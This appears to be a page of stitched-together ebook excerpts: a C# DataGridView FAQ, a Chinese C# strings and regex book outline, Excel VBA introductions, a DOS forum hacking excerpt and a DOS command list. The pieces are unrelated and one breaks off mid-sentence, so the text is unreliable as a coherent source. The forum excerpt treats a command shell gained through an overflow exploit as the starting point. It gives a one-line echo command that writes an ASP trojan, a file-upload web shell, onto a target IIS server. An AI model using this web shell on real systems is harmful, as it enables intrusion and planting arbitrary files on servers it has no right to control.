C# DataGridView FAQ
1 DataGridView Control
The DataGridView control is the new grid control for Windows Froms 2.0. It replaces the DataGrid control with an easy to use and extremely customizable grid that supports many of the features that are needed for our customers.
About this document:
This material should not be considered a complete coverage of DataGridView but it tries to capture the high-level features with some depth in specific areas.
This document is divided into about 5 logical sections starting with a feature and structure overview, followed by an overview of built in column and cell types. Next is an overview of working with data, followed by an overview of specific major features. Lastly, a “best practice” section concludes the main part of this document.
Most sections contain a “Q & A” section that answers common questions regarding the specific feature or area covered by the section. Note that some questions are duplicated in multiple sections based upon the section relevancy. The question and answers with code samples/snippets are contained in this document’s only appendix to make for a “one-stop shop” of code.
Note that most of the context of this document comes from the DataGridView control documentation presented in MSDN.
C#字符串和正则表达式参考手册
本书详细阐述了.NET Framwork处理文本的方式,学习如何使用String类和StringBuilder类在.NET 中构建字符串,讲述在字符串和其他数据类型之间转换时所涉及的一些问题,并论述了如何用不同语言显示文本。本书还重点介绍了如何使用正则表达式匹配文本模式,描述了分组、替换和反向引用,并讨论了如何构建自己的正则表达式模式,以匹配具体的数据类型。最后,附录列出了String类和StringBuilder类的方法、属性和构造函数,以及许多正则表达式语法、选项和特殊字符。
目录
第一章 系统处理文本的方式
第二章 String类和StringBuilder类
第三章 字符串转换
第四章 国际化
第五章 正则表达式
第六章 正则表达式的高级概念
第七章 正则表达式模式
附录A String类
附录B BtringBuilder类
附录C 正则表达式语法
附录D 在C#中管理文化上正确的日期和时间格式
附录E 技术支持、勘误表和代码下载
Microsoft.Excel.VBA.Professional.Projects.(2003).LiB
Introduction
Goal of the Book
The goal of this book is to provide a solid introduction to the VBA programming language and show how it can be applied to create practical applications for Excel. The book is targeted to intermediate and advanced programmers; however, since VBA is arguably the easiest language out there to learn, beginning programmers with a strong Excel background should also be reasonably comfortable with this book.
The book is divided into six parts, with Part I providing an introduction to the VBA language and the Excel object model. Parts II through V each consist of three to four chapters that introduce new concepts, objects, and programming methods in considerable detail. The last chapter in each part illustrates the use of the newly introduced objects and methods in designing a practical application for Excel. Part VI contains three appendixes that provide basic tutorials on Excel, HTML/XHTML, and SQL.
Microsoft Excel Visual Basic 入门
Microsoft Excel Visual Basic 入门教程
DOS 联盟论坛精华
DOS 联盟论坛精华(内部预览版)
此版本为非正式版本,请到 DOS 联盟论坛 下载正式版
同时征集此页面图片
查看说明
《进入》
Do All in Cmd Shell (一切尽在命令行)
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言
前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
DOS命令大全
MS DOS 命令大全
一、基础命令
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
....